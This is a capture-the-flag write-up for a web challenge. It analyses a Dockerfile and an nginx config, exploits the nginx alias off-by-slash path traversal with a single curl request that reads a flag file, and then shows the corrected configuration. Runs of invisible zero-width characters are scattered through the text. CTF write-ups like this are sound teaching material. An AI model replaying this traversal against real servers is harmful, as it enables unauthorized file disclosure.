Протокол "Затмение" (Eclipse Protocol)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Nginx alias path traversal, Source code analysis (Dockerfile + nginx.conf)

Summary

Task: Web challenge with source code (Dockerfile + nginx.conf). Solution: Exploited Nginx alias path traversal vulnerability caused by missing trailing slash in location directive to read the flag file.

Протокол "Затмение" — hackerlab

Description

Сегмент тьмы в цифровой инфраструктуре. Говорят, только знание его структуры открывает скрытые проходы

Files: eclipse_protocol_src.zip

Analysis

1. Examining the source code

Download and extract the source archive:

 bash read-only • copy allowed Copy
wget "https://hackerlab.pro/game_api/files/download?folder=parts_41f37884-f4ca-4151-925e-de6b67f9f9d6_data&name=eclipse_protocol_src&type=zip" -O eclipse_protocol_src.zip
unzip eclipse_protocol_src.zip

2. Dockerfile — flag location

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

In the Dockerfile we find the flag copy line:

 dockerfile read-only • copy allowed Copy
COPY ./fl4g.txt /var/www/

The flag is located at /var/www/fl4g.txt.

3. nginx.conf — vulnerable configuration

In the Nginx configuration we discover a classic alias path traversal vulnerability:

 nginx read-only • copy allowed Copy
location /static/avatars {
    alias /var/www/avatars/;
}

Problem:

• location /static/avatars — without trailing slash
• alias /var/www/avatars/ — with trailing slash

This creates a path traversal vulnerability!

Vulnerability

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Nginx Alias Path Traversal

When Nginx uses the alias directive and the location doesn't end with /, but the alias ends with /, it becomes possible to escape the directory.

How it works:

1. Request: /static/avatars../fl4g.txt
2. Nginx matches location /static/avatars (without slash)
3. Remaining path: ../fl4g.txt
4. Nginx substitutes into alias: /var/www/avatars/ + ../fl4g.txt
5. Result: /var/www/avatars/../fl4g.txt = /var/www/fl4g.txt

Solution

 bash read-only • copy allowed Copy
curl "http://62.173.140.174:16107/static/avatars../fl4g.txt"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

CODEBY{REDACTED}

Proper Configuration

To fix the vulnerability, add a trailing slash to the location:

 nginx read-only • copy allowed Copy
# Vulnerable:
location /static/avatars {
    alias /var/www/avatars/;
}

# Secure:
location /static/avatars/ {
    alias /var/www/avatars/;
}

References

• Nginx alias traversal
• Orange Tsai - Breaking Parser Logic ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍